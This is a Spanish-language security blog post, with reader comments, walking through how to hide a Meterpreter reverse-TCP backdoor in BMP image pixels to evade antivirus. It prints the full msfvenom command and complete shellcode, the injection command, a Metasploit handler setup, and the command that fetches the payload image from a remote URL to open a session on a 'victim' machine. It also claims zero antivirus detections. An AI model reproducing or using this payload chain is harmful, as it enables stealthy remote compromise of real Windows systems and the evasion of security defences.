Backdoors en imágenes gracias a BMPs y una lupa

Después de un tiempo de desconexión con motivo de exámenes y demás, hoy vuelvo para hablaros de un tema bastante útil a la par que peligroso...

Muchos nos hemos dedicado a darle cientos de vueltas a la cabeza para conseguir ejecutar malware sin ser frenados por la multitud de antivirus que hay en el mercado, para ello hay algunas herramientas como AVET, comentada anteriormente por estos lares, que nos facilitan cantidad el proceso de evasión de AVs, pero debemos saber que estas herramientas no son infalibles.

Normalmente nada más ser publicadas funcionan bastante bien, pero con el paso del tiempo sus mecanismos de evasión acaban siendo detectados por los antivirus y acaban quedando inservibles...

A parte de estas herramientas para evadir a los antivirus, puede haber otras maneras de crear backdoors indetectables o incluso distintos métodos de propagación de malware que no son muy utilizados en la actualidad como el que vengo hoy a tratar.

Seguramente casi nadie (por no decir nadie) os habréis fijado bien si hay algo raro en la imagen de cabecera del post, ¿no veis nada raro?, ampliarla un poquito más, ¿seguís sin verlo?, os daré un pista, haced zoom a la parte inferior izquierda de la imagen... Bueno, como podéis observar, aparece una tira de pixels de diferentes colores, los cuales no concuerdan con la imagen original, pues en esa tira de pixels se encuentra nuestra futura sesión de meterpreter, o mejor dicho, nuestro querido backdoor.

 
Como muchos habréis podido observar, es una imagen en formato bitmap (.bmp), esto quiere decir que estamos ante un mapa de bits que es una estructura o fichero de datos que representa una rejilla rectangular de pixels o puntos de color, denominada matriz, que se puede visualizar en un monitor, papel u otro dispositivo de representación. Aprovechando esta característica, hemos insertado un backdoor dentro de dicha matriz en 54 pixeles de la parte inferior izquierda de la imagen.

Si observamos de una imagen original y de otra backdorizada con un visor hexadecimal veremos los siguiente:


Si os fijáis, en comparación a la imagen original (izquierda), la imagen backdorizada (derecha) tiene añadidos unos valores seleccionados, ese es el backdoor en cuestión que se representa en la imagen original  con esos pixels coloreados mencionados anteriormente.

Ahora vamos analizar si una imagen backdoorizada de este modo está totalmente libre de detecciones de antivirus.

https://virustotal.com/es/file/d1628866428459edca56f4321cd7776fb8b697c84ec76ac6a36d2373424fe9db/analysis/1497921950/
Como veis en el análisis, 0/56 detecciones, un backdoor totalmente FUD. Lo único que queda es poder interpretar esos pixels y valores para poder abrir la puerta trasera en el ordenador víctima.

Para ello tenemos la herramienta NativePayload_Image, una herramienta creada en C# por Damon Mohammadbagher que va a servir de interprete de nuestra puerta trasera, en este caso, una sesión de de meterpreter. Su uso es muy sencillo, nada más descargar el repositorio, compilaremos la solución con .Net Framework 2.0 , 3.5 o 4.0, y lo ejecutaremos desde la terminal de Windows.
NativePayload_Image Tool , Published by Damon Mohammadbagher , April 2017
Detecting/Injecting Meterpreter Payload bytes from BMP Image Files

Injecting Syntax :

Syntax Creating New Bitmap File by template:

Syntax  I: NativePayload_Image.exe create [NewFileName.bmp] [Meterpreter_payload]
Example I: NativePayload_Image.exe create test.bmp fc,48,83,e4,f0,e8,cc,00,00,00,41,51,41,50

Syntax Modify Bitmap File by New Payload:

Syntax  II: NativePayload_Image.exe modify [ExistFileName.bmp] [header_length] [Meterpreter_payload]
Example II: NativePayload_Image.exe modify test.bmp  54  fc,48,83,e4,f0,e8,cc,00,00,00,41,51,41,50

Detecting and Getting Meterpreter Session (backdoor mode) Syntax :

Syntax Getting Meterpreter Session by local BMP File:

Syntax  I: NativePayload_Image.exe bitmap [ExistFileName.bmp] [Payload_length] [BMP_Header_Length]
Example I: NativePayload_Image.exe bitmap test.bmp 510 54

Syntax Getting Meterpreter Session with Url by http Traffic

Syntax  II: NativePayload_Image.exe url [target url] [Payload_length] [BMP_Header_Length]
Example II: NativePayload_Image.exe url http://192.168.1.2/images/test.bmp 510 54

Syntax Getting Meterpreter Session by local/Web Encrypted BMP File:

Syntax  III: NativePayload_Image.exe decrypt [target url or local filename] [Payload_length] [BMP_Header_Length]
Example III: NativePayload_Image.exe decrypt http://192.168.1.2/images/test.bmp 510 54

También vamos a analizar la herramienta para vez si es detectada por los antivirus:

https://nodistribute.com/result/Lj724wmSu3qIXYDbOAakz6VZs59FBd
Cabe mencionar que este programa no se encarga únicamente de interpretar el backdoor, también tiene otros módulos como: create, que se encargará de crear un nuevo bitmap con el payload de meterpreter que le demos, y modify, que se encargará de modificar el bitmap que le demos y le añadirá los pixeles y valores del payload.

Dentro del intérprete hay varias opciones: bitmap, que se encargará de leer el payload de una imagen almacenada, url, que se encargará de leer el payload de una imagen almacenada en internet a traves de trafico http, y también decrypt, que se encargará de mostrarnos el payload que se está utilizando en un bitmap que se encuentre almacenado en el ordenador o en internet. Vamos a realizar un ejemplo/POC utilizando alguno de sus módulos y aplicándolo a un entorno real.

Para ello, lo primero que debemos hacer es obtener nuestro payload gracias a cualquiera de los siguiente comandos de msfvenom:

msfvenom --platform windows --arch x86_64 -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.2 -f c > payload.txt
msfvenom --platform windows --arch x86_64 -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.2 -f num > payload.txt 
 
Yo usaré el primero, pero podéis usar cualquiera de los dos, si queréis ver una comparación, aquí os dejo un payload en -f c y en -f num. Entonces el formato de mi payload es el siguiente:

root@kali:~# cat payload.txt 
unsigned char buf[] = 
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b"
"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b"
"\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41"
"\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1"
"\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45"
"\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b"
"\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48"
"\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
"\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00"
"\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5"
"\x49\xbc\x02\x00\x0f\xc8\xc0\xa8\x01\x8a\x41\x54\x49\x89\xe4"
"\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68"
"\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x05"
"\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89"
"\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5"
"\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba"
"\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5"
"\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9"
"\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5"
"\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41"
"\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41"
"\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8"
"\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40"
"\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c"
"\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41"
"\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5";
 
Deberemos suprimir algunos caracteres del payload dejándolo de la siguiente forma para que la herramienta pueda interpretarlo, debe de quedar de la siguiente manera:
fc,48,83,e4,f0,e8,cc,00,00,00,41,51,41,50,52
,51,56,48,31,d2,65,48,8b,52,60,48,8b,52,18,48
,8b,52,20,48,8b,72,50,48,0f,b7,4a,4a,4d,31,c9
,48,31,c0,ac,3c,61,7c,02,2c,20,41,c1,c9,0d,41
,01,c1,e2,ed,52,41,51,48,8b,52,20,8b,42,3c,48
,01,d0,66,81,78,18,0b,02,0f,85,72,00,00,00,8b
,80,88,00,00,00,48,85,c0,74,67,48,01,d0,50,8b
,48,18,44,8b,40,20,49,01,d0,e3,56,48,ff,c9,41
,8b,34,88,48,01,d6,4d,31,c9,48,31,c0,ac,41,c1
,c9,0d,41,01,c1,38,e0,75,f1,4c,03,4c,24,08,45
,39,d1,75,d8,58,44,8b,40,24,49,01,d0,66,41,8b
,0c,48,44,8b,40,1c,49,01,d0,41,8b,04,88,48,01
,d0,41,58,41,58,5e,59,5a,41,58,41,59,41,5a,48
,83,ec,20,41,52,ff,e0,58,41,59,5a,48,8b,12,e9
,4b,ff,ff,ff,5d,49,be,77,73,32,5f,33,32,00,00
,41,56,49,89,e6,48,81,ec,a0,01,00,00,49,89,e5
,49,bc,02,00,0f,c8,c0,a8,01,8a,41,54,49,89,e4
,4c,89,f1,41,ba,4c,77,26,07,ff,d5,4c,89,ea,68
,01,01,00,00,59,41,ba,29,80,6b,00,ff,d5,6a,05
,41,5e,50,50,4d,31,c9,4d,31,c0,48,ff,c0,48,89
,c2,48,ff,c0,48,89,c1,41,ba,ea,0f,df,e0,ff,d5
,48,89,c7,6a,10,41,58,4c,89,e2,48,89,f9,41,ba
,99,a5,74,61,ff,d5,85,c0,74,0a,49,ff,ce,75,e5
,e8,93,00,00,00,48,83,ec,10,48,89,e2,4d,31,c9
,6a,04,41,58,48,89,f9,41,ba,02,d9,c8,5f,ff,d5
,83,f8,00,7e,55,48,83,c4,20,5e,89,f6,6a,40,41
,59,68,00,10,00,00,41,58,48,89,f2,48,31,c9,41
,ba,58,a4,53,e5,ff,d5,48,89,c3,49,89,c7,4d,31
,c9,49,89,f0,48,89,da,48,89,f9,41,ba,02,d9,c8
,5f,ff,d5,83,f8,00,7d,28,58,41,57,59,68,00,40
,00,00,41,58,6a,00,5a,41,ba,0b,2f,0f,30,ff,d5
,57,59,41,ba,75,6e,4d,61,ff,d5,49,ff,ce,e9,3c
,ff,ff,ff,48,01,c3,48,29,c6,48,85,f6,75,b4,41
,ff,e7,58,6a,00,59,49,c7,c2,f0,b5,a2,56,ff,d5
 
Ahora que tenemos el payload, escogemos una imagen en formato .bmp y ejecutamos la aplicación de la siguiente manera para crear nuestro bitmap backdoorizado:

C:\Users\Downloads\NativePayload_Image-master\NativePayload_Image-master>NativePayload_Image.exe modify imagen.bmp 54 fc,48,83,e4,f0,e8,cc,00,00,00,41,51,41,50,52,51,56,48,31,d2,65,48,8b,52,60,48,8b,52,18,48,8b,52,20,48,8b,72,50,48,0f,b7,4a,4a,4d,31,c9,48,31,c0,ac,3c,61,7c,02,2c,20,41,c1,c9,0d,41,01,c1,e2,ed,52,41,51,48,8b,52,20,8b,42,3c,48,01,d0,66,81,78,18,0b,02,0f,85,72,00,00,00,8b,80,88,00,00,00,48,85,c0,74,67,48,01,d0,50,8b,48,18,44,8b,40,20,49,01,d0,e3,56,48,ff,c9,41,8b,34,88,48,01,d6,4d,31,c9,48,31,c0,ac,41,c1,c9,0d,41,01,c1,38,e0,75,f1,4c,03,4c,24,08,45,39,d1,75,d8,58,44,8b,40,24,49,01,d0,66,41,8b,0c,48,44,8b,40,1c,49,01,d0,41,8b,04,88,48,01,d0,41,58,41,58,5e,59,5a,41,58,41,59,41,5a,48,83,ec,20,41,52,ff,e0,58,41,59,5a,48,8b,12,e9,4b,ff,ff,ff,5d,49,be,77,73,32,5f,33,32,00,00,41,56,49,89,e6,48,81,ec,a0,01,00,00,49,89,e5,49,bc,02,00,0f,c8,c0,a8,01,8a,41,54,49,89,e4,4c,89,f1,41,ba,4c,77,26,07,ff,d5,4c,89,ea,68,01,01,00,00,59,41,ba,29,80,6b,00,ff,d5,6a,05,41,5e,50,50,4d,31,c9,4d,31,c0,48,ff,c0,48,89,c2,48,ff,c0,48,89,c1,41,ba,ea,0f,df,e0,ff,d5,48,89,c7,6a,10,41,58,4c,89,e2,48,89,f9,41,ba,99,a5,74,61,ff,d5,85,c0,74,0a,49,ff,ce,75,e5,e8,93,00,00,00,48,83,ec,10,48,89,e2,4d,31,c9,6a,04,41,58,48,89,f9,41,ba,02,d9,c8,5f,ff,d5,83,f8,00,7e,55,48,83,c4,20,5e,89,f6,6a,40,41,59,68,00,10,00,00,41,58,48,89,f2,48,31,c9,41,ba,58,a4,53,e5,ff,d5,48,89,c3,49,89,c7,4d,31,c9,49,89,f0,48,89,da,48,89,f9,41,ba,02,d9,c8,5f,ff,d5,83,f8,00,7d,28,58,41,57,59,68,00,40,00,00,41,58,6a,00,5a,41,ba,0b,2f,0f,30,ff,d5,57,59,41,ba,75,6e,4d,61,ff,d5,49,ff,ce,e9,3c,ff,ff,ff,48,01,c3,48,29,c6,48,85,f6,75,b4,41,ff,e7,58,6a,00,59,49,c7,c2,f0,b5,a2,56,ff,d5

NativePayload_Image Tool , Published by Damon Mohammadbagher , April 2017
Detecting/Injecting Meterpreter Payload bytes from BMP Image Files


[!] Modify Bitmap File ...
[!] Bitmap File Name : imagen.bmp
[+] Injecting Meterpreter Paylaod to Bitmap File ...
[>] Injecting Payload (length 510) : fc4883e4f0e8cc00000041514150525156
[!] File imagen.bmp with length 12000054 bytes Modified.
 
Esta es la imagen con el payload que usaré:


Subiré la imagen a una maquina virtual Kali Linux conectada a la misma red que yo, copiando la imagen en la carpeta /var/www/html y ejecutamos Apache con service Apache2 start.


Ahora ejecutaremos meterpreter con la siguiente configuración:

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.138
LHOST => 192.168.1.138
msf exploit(handler) > set LPORT 4040
LPORT => 4040
msf exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.1.138    yes       The listen address
   LPORT     4040             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf exploit(handler) > exploit
 
Por último, para obtener la sesión de meterpreter simplemente tendremos que usar el modulo url de la siguiente manera para que la herramienta lea el payload de la imagen sobre la maquina víctima:
C:\Users\Downloads\NativePayload_Image-master\NativePayload_Image-master>NativePayload_Image.exe url https://d3.dropfile.to/img/633e43797b4bc3d25b9f77f13727c76b.bmp 510 54

NativePayload_Image Tool , Published by Damon Mohammadbagher , April 2017
Detecting/Injecting Meterpreter Payload bytes from BMP Image Files

[+] Detecting Meterpreter Payload bytes by Image Files
[+] File Scanning .. . .
[+] Reading Payloads from URL  "https://d3.dropfile.to/img/633e43797b4bc3d25b9f77f13727c76b.bmp"
[+] Scanning Payload with length 510 from byte 54

Bingo Meterpreter session by BMP images ;) 
 
Y hecho, sesión de meterpreter abierta :)

Finalmente, si quereis ver como hacer todo este proceso manualmente, os dejo el link de Damon Mohammadbagher que lo hace con (el mítico) Paint: https://www.linkedin.com/pulse/transferring-backdoor-payloads-bmp-image-pixels-damon-mohammadbagher

8 comentarios :

  1. Esto me recuerda a una vez que me encontré contenido oculto en una imagen asignando directamente los valores hex al valor de Alfa en una cadena de pixels. Aunque creo que era un flag o una contraseña de un wargame o algo así.
    También creo que habíamos visto aquí lo de crear una secuencia de pixels que se podia renombrar a .bat y ejecutaba algunos comandos.
    Al margen de eso, el dibujo del ninja mola mucho. ¿Pegatinas a la venta?

    ResponderEliminar
  2. Me perdí en la última parte... Cómo es que el interprete del payload me entrega la sesión meterpreter desde Windows? Podrías aclararmelo? Muchas gracias por el aporte

    ResponderEliminar
    Respuestas
    1. Por así decirlo, la herramienta inyecta unos valores hexadecimales procedentes del payload que nosotros hemos creado anteriormente, en la imagen esos valores hexadecimales del payload se muestran como pixeles de diferentes colores, el programa se encarga de interpretar esos valores hexadecimales del payload que se le ha asignado en cada color a los diferentes pixels lo que generaría la sesión de meterpreter.

      Eliminar
    2. Entonces esto implica que el módulo "url" debe ser ejecutado desde la máquina de la víctima, no? Esta es la parte que no me quedó clara. Lo que tú explicas si.
      Gracias

      Eliminar
    3. Efectivamente, el módulo lee una imagen que se encuentra en una url determinada, y sí, se debe ejecutar desde la máquina víctima, en realidad la herramienta es un POC que te puede servir de referencia para crear tu propio programa que sea más funcional y efectivo.

      Eliminar
  3. Este comentario ha sido eliminado por el autor.

    ResponderEliminar
  4. Mi pregunta es ¿por qué suben las muestras a virustotal si bien saben que ellos las venden a las compañías de antivirus?

    ResponderEliminar